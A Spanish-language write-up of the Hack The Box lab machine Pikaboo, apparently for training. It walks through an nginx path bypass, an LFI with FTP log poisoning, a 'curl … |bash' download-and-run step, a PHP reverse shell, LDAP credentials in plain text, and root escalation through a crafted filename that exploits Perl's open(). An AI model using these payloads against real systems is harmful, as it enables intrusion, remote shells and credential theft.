Pikaboo presenta una vulnerabilidad LFI donde realizamos LFI Log Poisoning por donde obtuvimos acceso. Acceso por LDAP localmente nos permitio acceder a otro usuario por FTP. Finalmente para escalar privilegios explotamos una vulnerabilidad en una funcion de perl.
Nombre |
Pikaboo |
OS |
Linux |
Puntos |
40 |
Dificultad |
Dificil |
IP |
10.10.10.249 |
Maker |
pwnmeow polarbearer |
Matrix
|
{
"type":"radar",
"data":{
"labels":["Enumeration","Real-Life","CVE","Custom Explotation","CTF-Like"],
"datasets":[
{
"label":"User Rate", "data":[6.7, 5.4, 4.8, 5.2, 4.6],
"backgroundColor":"rgba(75, 162, 189,0.5)",
"borderColor":"#4ba2bd"
},
{
"label":"Maker Rate",
"data":[0, 0, 0, 0, 0],
"backgroundColor":"rgba(154, 204, 20,0.5)",
"borderColor":"#9acc14"
}
]
},
"options": {"scale": {"ticks": {"backdropColor":"rgba(0,0,0,0)"},
"angleLines":{"color":"rgba(255, 255, 255,0.6)"},
"gridLines":{"color":"rgba(255, 255, 255,0.6)"}
}
}
}
|
RECON
NMAP
Escaneo de puertos con nmap nos muestra multiples puertos abiertos: http (80), ftp (21), ssh (22).
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
# Nmap 7.91 scan initiated Mon Jul 19 19:51:31 2021 as: nmap -Pn -sV -sC -p21,22,80 -oN scans 10.10.10.249
Nmap scan report for 10.10.10.249 (10.10.10.249)
Host is up (0.25s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey:
| 2048 17:e1:13:fe:66:6d:26:b6:90:68:d0:30:54:2e:e2:9f (RSA)
| 256 92:86:54:f7:cc:5a:1a:15:fe:c6:09:cc:e5:7c:0d:c3 (ECDSA)
|_ 256 f4:cd:6f:3b:19:9c:cf:33:c6:6d:a5:13:6a:61:01:42 (ED25519)
80/tcp open http nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Pikaboo
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Jul 19 19:51:46 2021 -- 1 IP address (1 host up) scanned in 15.09 seconds
|
FTP
El puerto 21 (FTP) no acepta conexiones anonimas.
1
2
3
4
5
6
7
8
9
10
|
π ~/htb/pikaboo ❯ ftp 10.10.10.249
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:kali): anonymous
331 Please specify the password.
Password:
530 Login incorrect.
Login failed.
ftp> bye
221 Goodbye.
|
Web Site
Vemos una pagina en el puerto 80, parece ser estatica.
Una lista de nombres con la descripcion de cada uno de estas imagenes podrian servir para posibles nombres de usuario. Además cada imagen nos redirige hacia una “API” pero se muestra el mensaje PokeAPI Integration - Coming soon!
.
En Contacto observamos un formulario pero en el codigo fuente no vemos que realice alguna solicitud.
Directory Brute Forcing
Realizamos una busqueda de directorios, aunque solo se muestran mayormente direcciones hacia un panel de administracion y direcciones ya conocidas.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
|
π ~/htb/pikaboo ❯ feroxbuster --resume-from ferox-http_10_10_10_249_-1626739710.state
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.249/
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
301 9l 28w 319c http://10.10.10.249/images
200 208l 477w 6922c http://10.10.10.249/index.php
200 92l 213w 3180c http://10.10.10.249/contact.php
401 14l 54w 456c http://10.10.10.249/admin
401 14l 54w 456c http://10.10.10.249/administration
401 14l 54w 456c http://10.10.10.249/administrator
401 14l 54w 456c http://10.10.10.249/administr8
401 14l 54w 456c http://10.10.10.249/administrative
401 14l 54w 456c http://10.10.10.249/administratie
401 14l 54w 456c http://10.10.10.249/admins
401 14l 54w 456c http://10.10.10.249/admin_images
401 14l 54w 456c http://10.10.10.249/administrivia
|
Bypass Panel - nginx
PANEL
Las direcciones de administracion presentan Autenticacion Basica. Intentamos realizar un ataque de fuerza bruta con los nombres en “Pokatdex” pero no resulto nada. Además vemos que las solicitudes del panel se realizan hacia 127.0.0.1:81
atraves de Apache
, tal vez es algun tipo de Proxy configurado en Nginx hacia Apache.
La version de la maquina es 1.14.2
es inferior a la version estable actual lo que podria suponer algun tipo de vulnerabilidad, tomando en cuenta esto y el “Proxy” nos llevó a Nginx misconfigurations ( 1, 2, 3, 4) y Reverse Proxy Attacks, similar a HTB - Seal.
De cierta forma deberíamos intentar realizar Bypass, en este caso en el panel de administracion, es por ello que tomamos en cuenta los “payloads” para Nginx y realizamos nuevamente una enumeracion de directorios con Feroxbuster.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
π ~/htb/pikaboo ❯ feroxbuster -u "http://10.10.10.249/admin../" -w $MD
___ ___ __ __ __ __ __ ___
|__ |__ |__) |__) | / ` / \ \_/ | | \ |__
| |___ | \ | \ | \__, \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓 ver: 2.3.0
───────────────────────────┬──────────────────────
🎯 Target Url │ http://10.10.10.249/admin../
🚀 Threads │ 50
📖 Wordlist │ /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
👌 Status Codes │ [200, 204, 301, 302, 307, 308, 401, 403, 405]
💥 Timeout (secs) │ 7
🦡 User-Agent │ feroxbuster/2.3.0
💉 Config File │ /etc/feroxbuster/ferox-config.toml
🔃 Recursion Depth │ 4
🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
🏁 Press [ENTER] to use the Scan Cancel Menu™
──────────────────────────────────────────────────
401 14l 54w 456c http://10.10.10.249/admin../admin
301 9l 28w 314c http://10.10.10.249/admin../javascript
200 93l 285w 4640c http://10.10.10.249/admin../server-status
[####################] - 9m 220545/220545 0s found:3 errors:0
[####################] - 8m 220545/220545 408/s http://10.10.10.249/admin../
|
Se muestran algunas direcciones pero en server-status
observamos la direccion /admin_stagin
y las solicitudes hechas por feroxbuster.
Al visitar /admin_stagin
nos redirige al puerto 81 de localhost, agregando /
al final nos muestra el contenido.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
π ~/htb/pikaboo ❯ curl -s http://10.10.10.249/admin../admin_staging
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://127.0.0.1:81/admin_staging/">here</a>.</p>
<hr>
<address>Apache/2.4.38 (Debian) Server at 127.0.0.1 Port 81</address>
</body></html>
π ~/htb/pikaboo ❯ curl -s http://10.10.10.249/admin../admin_staging/ | head
<!--
=========================================================
Material Dashboard - v2.1.2
=========================================================
Product Page: https://www.creative-tim.com/product/material-dashboard
Copyright 2020 Creative Tim (https://www.creative-tim.com)
Coded by Creative Tim
=========================================================
π ~/htb/pikaboo ❯
|
Observamos informacion y multiples direcciones.
LFI
Tras cambiar a una direccion vemos que toma un archivo PHP y lo muestra en pantalla, lo que nos lleva a una vulnerabilidad LFI.
Utilizando un wrapper de php, obtuvimos el codigo de index.php
donde vemos el codigo vulnerable.
1
2
3
4
5
6
7
8
9
10
|
/*php://filter/convert.base64-encode/resource=index.php*/
<?php
if(isset($_GET['page'])) {
include($_GET['page']);
}
else
{
include("dashboard.php");
}
?>
|
LFI Log Poisoning
Utilizamos un wordlist con WFFUZ y, encontramos algunos archivos de log.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
π ~/htb/pikaboo ❯ wfuzz -c -w file_inclusion_linux.txt --hl 367 -u "http://10.10.10.249/admin../admin_staging/index.php?page=FUZZ"
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.249/admin../admin_staging/index.php?page=FUZZ
Total requests: 2247
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000001803: 200 999 L 4802 W 61821 Ch "/var/log/dpkg.log"
000001974: 200 413 L 1670 W 19803 Ch "/var/log/vsftpd.log"
000001977: 200 555 L 1376 W 162752 Ch "/var/log/wtmp"
Total time: 73.18061
Processed Requests: 2247
Filtered Requests: 2244
Requests/sec.: 30.70485
|
Vemos algunas solicitudes en el log de FTP (vsftpd.log) aunque no vemos credenciales en texto plano. Realizamos una solicitud en el puerto FTP tomando como usuario un payload para verificar que el codigo en PHP sea ejecutado.
1
|
<?php echo(system('whoami')); ?>
|
Al verificar el log vemos que el usuario es www-data
por lo que ejecutamos una shell inversa.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
# http://10.10.10.249/admin../admin_staging/index.php?page=/var/log/vsftpd.log
Thu Jul 22 01:53:34 2021 [pid 6954] CONNECT: Client "::ffff:10.10.14.24"
Thu Jul 22 01:53:34 2021 [pid 6954] FTP response: Client "::ffff:10.10.14.24", "220 (vsFTPd 3.0.3)"
Thu Jul 22 01:53:35 2021 [pid 6954] FTP command: Client "::ffff:10.10.14.24", "USER www-data
www-data"
Thu Jul 22 01:53:35 2021 [pid 6954] [www-data
www-data] FTP response: Client "::ffff:10.10.14.24", "331 Please specify the password."
Thu Jul 22 01:53:38 2021 [pid 6954] [www-data
www-data] FTP command: Client "::ffff:10.10.14.24", "PASS <password>"
Thu Jul 22 01:53:38 2021 [pid 6953] [www-data
www-data] FAIL LOGIN: Client "::ffff:10.10.14.24"
Thu Jul 22 01:53:39 2021 [pid 6954] [www-data
www-data] FTP response: Client "::ffff:10.10.14.24", "530 Login incorrect."
Thu Jul 22 01:53:39 2021 [pid 6954] FTP command: Client "::ffff:10.10.14.24", "SYST"
Thu Jul 22 01:53:39 2021 [pid 6954] FTP response: Client "::ffff:10.10.14.24", "530 Please login with USER and PASS."
|
www-data - User
Utilizamos reverse shell as a service en la version de InfosecJack para generar una shell inversa y en el codigo PHP descargamos y ejecutamos la shell.
1
|
<?php echo(system('curl 10.10.14.24/x|bash')); ?>
|
Obtuvimos una shell con el usuario www-data.
1
2
3
4
5
6
7
8
9
10
11
|
π ~/htb/pikaboo ❯ rlwrap nc -lvp 1335
listening on [any] 1335 ...
connect to [10.10.14.24] from 10.10.10.249 [10.10.10.249] 38126
/bin/sh: 0: can't access tty; job control turned off
www-data@pikaboo:/var/www/html/admin_staging$ which python
/usr/bin/python
python -c 'import pty; pty.spawn("/bin/bash");'
www-data@pikaboo:/var/www/html/admin_staging$ whoami; id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@pikaboo:/var/www/html/admin_staging$
|
Y realizamos la lectura de la flag user.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
www-data@pikaboo:/var/www$ cat /etc/passwd|grep home
pwnmeow:x:1000:1000:,,,:/home/pwnmeow:/bin/bash
www-data@pikaboo:/var/www$ ls -lah /home/pwnmeow
total 580K
drwxr-xr-x 2 pwnmeow pwnmeow 556K Jul 6 20:02 .
drwxr-xr-x 3 root root 4.0K May 10 10:26 ..
lrwxrwxrwx 1 root root 9 Jul 6 20:02 .bash_history -> /dev/null
-rw-r--r-- 1 pwnmeow pwnmeow 220 May 10 10:26 .bash_logout
-rw-r--r-- 1 pwnmeow pwnmeow 3.5K May 10 10:26 .bashrc
-rw-r--r-- 1 pwnmeow pwnmeow 807 May 10 10:26 .profile
lrwxrwxrwx 1 root root 9 Jul 6 20:01 .python_history -> /dev/null
-r--r----- 1 pwnmeow www-data 33 Jul 22 00:40 user.txt
www-data@pikaboo:/var/www$ cat /home/pwnmeow/user.txt
2b4e6a139700d43db0960bfe88fb2d32
www-data@pikaboo:/var/www$
|
pwnmeow - FTP
Enumerando los directorios vemos la app pokeapi
en /opt
dentro de la configuracion del proyecto encontramos credenciales para LDAP.
1
2
3
4
5
6
7
8
9
10
11
12
|
DATABASES = {
"ldap": {
"ENGINE": "ldapdb.backends.ldap",
"NAME": "ldap:///",
"USER": "cn=binduser,ou=users,dc=pikaboo,dc=htb",
"PASSWORD": "J~42%W?PFHl]g",
},
"default": {
"ENGINE": "django.db.backends.sqlite3",
"NAME": "/opt/pokeapi/db.sqlite3",
}
}
|
Tambien observamos que el puerto 389
(ldap) esta a la escucha localmente y ldapsearch
esta instalado en la maquina.
1
2
3
4
5
6
7
8
9
10
11
12
13
|
www-data@pikaboo:/opt/pokeapi/config$ netstat -ntpl
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 127.0.0.1:389 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 618/nginx: worker p
tcp 0 0 127.0.0.1:81 0.0.0.0:* LISTEN -
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN -
tcp6 0 0 :::80 :::* LISTEN 618/nginx: worker p
tcp6 0 0 :::21 :::* LISTEN -
tcp6 0 0 :::22 :::* LISTEN -
www-data@pikaboo:/opt/pokeapi/config$ which ldapsearch
/usr/bin/ldapsearch
www-data@pikaboo:/opt/pokeapi/config$
|
Obtuvimos informacion en LDAP donde observamos la contraseña de pwnmeow
codificada en base64.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
www-data@pikaboo:/opt/pokeapi/config$ ldapsearch -x -h localhost -D 'cn=binduser,ou=users,dc=pikaboo,dc=htb' -w 'J~42%W?PFHl]g' -b "cn=users,dc=pikaboo,dc=htb"
# extended LDIF
#
# LDAPv3
# base <dc=pikaboo,dc=htb> with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#
# pikaboo.htb
dn: dc=pikaboo,dc=htb
objectClass: domain
dc: pikaboo
# ftp.pikaboo.htb
dn: dc=ftp,dc=pikaboo,dc=htb
objectClass: domain
dc: ftp
# users, pikaboo.htb
dn: ou=users,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# pokeapi.pikaboo.htb
dn: dc=pokeapi,dc=pikaboo,dc=htb
objectClass: domain
dc: pokeapi
# users, ftp.pikaboo.htb
dn: ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, ftp.pikaboo.htb
dn: ou=groups,dc=ftp,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# pwnmeow, users, ftp.pikaboo.htb
dn: uid=pwnmeow,ou=users,dc=ftp,dc=pikaboo,dc=htb
objectClass: inetOrgPerson
objectClass: posixAccount
objectClass: shadowAccount
uid: pwnmeow
cn: Pwn
sn: Meow
loginShell: /bin/bash
uidNumber: 10000
gidNumber: 10000
homeDirectory: /home/pwnmeow
userPassword:: X0cwdFQ0X0M0dGNIXyczbV80bEwhXw==
# binduser, users, pikaboo.htb
dn: cn=binduser,ou=users,dc=pikaboo,dc=htb
cn: binduser
objectClass: simpleSecurityObject
objectClass: organizationalRole
userPassword:: Sn40MiVXP1BGSGxdZw==
# users, pokeapi.pikaboo.htb
dn: ou=users,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: users
# groups, pokeapi.pikaboo.htb
dn: ou=groups,dc=pokeapi,dc=pikaboo,dc=htb
objectClass: organizationalUnit
objectClass: top
ou: groups
# search result
search: 2
result: 0 Success
# numResponses: 11
# numEntries: 10
www-data@pikaboo:/opt/pokeapi/config$
|
Con esta contraseña obtuvimos acceso por FTP.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
π ~/htb/pikaboo ❯ ftp 10.10.10.249 # _G0tT4_C4tcH_'3m_4lL!_
Connected to 10.10.10.249.
220 (vsFTPd 3.0.3)
Name (10.10.10.249:kali): pwnmeow
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/" is the current directory
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwx-wx--- 2 ftp ftp 4096 May 20 09:54 abilities
[... REDACTED ...]
drwx-wx--- 2 ftp ftp 4096 Jul 06 20:20 versions
226 Directory send OK.
ftp>
|
Privesc
Descubrimos un cronjob ejecutado por root, utiliza csvupdate
para cada uno de los archivos en /srv/ftp/
, en este ultimo unicamente estan permitidos el usuario root
y los usuarios pertenecientes a ftp
como pwnmeow
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
www-data@pikaboo:/$ cat /etc/crontab | grep -v "#"
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
* * * * * root /usr/local/bin/csvupdate_cron
www-data@pikaboo:/$ file /usr/local/bin/csvupdate_cron
/usr/local/bin/csvupdate_cron: Bourne-Again shell script, ASCII text executable
www-data@pikaboo:/$ cat /usr/local/bin/csvupdate_cron
#!/bin/bash
for d in /srv/ftp/*
do
cd $d
/usr/local/bin/csvupdate $(basename $d) *csv
/usr/bin/rm -rf *
done
www-data@pikaboo:/$ file /usr/local/bin/csvupdate
/usr/local/bin/csvupdate: Perl script text executable
www-data@pikaboo:/$ wc -l /usr/local/bin/csvupdate
231 /usr/local/bin/csvupdate
www-data@pikaboo:/$ ls -ld /srv/ftp/
drwxr-xr-x 176 root ftp 12288 May 20 08:01 /srv/ftp/
www-data@pikaboo:/$ id pwnmeow
uid=1000(pwnmeow) gid=1000(pwnmeow) groups=1000(pwnmeow),115(ftp)
www-data@pikaboo:/$
|
El script realiza la lectura de archivos .csv obtiene las celdas y verifica que tiene el numero de campos definidos en %csv_fields
, si es correcto finaliza escribiendo el contenido del /srv/ftp/[archivo].csv
en /opt/pokeapi/data/v2/csv/[tipo].csv
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
|
#!/usr/bin/perl
# [... REDACTED ...]
use strict;
use warnings;
use Text::CSV;
my $csv_dir = "/opt/pokeapi/data/v2/csv";
my %csv_fields = (
'abilities' => 4,
# [... REDACTED ...]
'versions' => 3
);
if($#ARGV < 1){
die "Usage: $0 <type> <file(s)>\n";
}
my $type = $ARGV[0];
if(!exists $csv_fields{$type}){
die "Unrecognised CSV data type: $type.\n";
}
my $csv = Text::CSV->new({ sep_char => ',' });
my $fname = "${csv_dir}/${type}.csv";
open(my $fh, ">>", $fname) or die "Unable to open CSV target file.\n";
shift;
for(<>){
chomp;
if($csv->parse($_)) {
my @fields = $csv->fields();
if(@fields != $csv_fields{$type}) {
warn "Incorrect number of fields: '$_'\n";
next;
}
print $fh "$_\n";
}
}
close($fh);
|
Tras analizar las librerias no encontramos algun tipo de vulnerabilidad pero algunas funciones de Perl se mencionan ser vulnerables (1, 2, 3, 4) especificamente open()
en este caso. Segun la informacion un archivo que comienza con |
es interpretado como un comando.
If the filename begins with “|”, the filename is interpreted as a command to which output is to be piped, and if the filename ends with a “|”, the filename is interpreted as a command which pipes output to us.
En tal caso podriamos ejecutar comandos creando un archivo con una shell inversa, además debemos de agregar csv
ya que el cronjob toma todos los archivos con estos caracteres. Utilizamos Thunar para crear el archivo.
1
|
|php -r '$sock=fsockopen("10.10.14.24",1338);exec("sh -i <&3 >&3 2>&3");'|csv
|
Por alguna razon el archivo no se muestra en Thunar y por FTP tras subir dicho archivo.
Aunque al pasar algunos segundos obtuvimos una shell como root y la flag root.txt
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
|
π ~/htb/pikaboo ❯ bash -c 'rlwrap nc -lvp 1338'
listening on [any] 1338 ...
connect to [10.10.14.24] from 10.10.10.249 [10.10.10.249] 44940
can't access tty; job control turned off
python -c 'import pty;pty.spawn("/bin/bash");'
root@pikaboo:/srv/ftp/abilities# whoami; id; pwd
root
uid=0(root) gid=0(root) groups=0(root)
/srv/ftp/abilities
root@pikaboo:/srv/ftp/abilities# cd
root@pikaboo:~# ls
root.txt vsftpd.log
root@pikaboo:~# cat root.txt
cat root.txt
31ea660be5feed8e26eea494874fb2fa
root@pikaboo:~# cat /home/pwn*/user.txt
b6b20e171c3d5d3425f7bfaafea34501
root@pikaboo:~#
|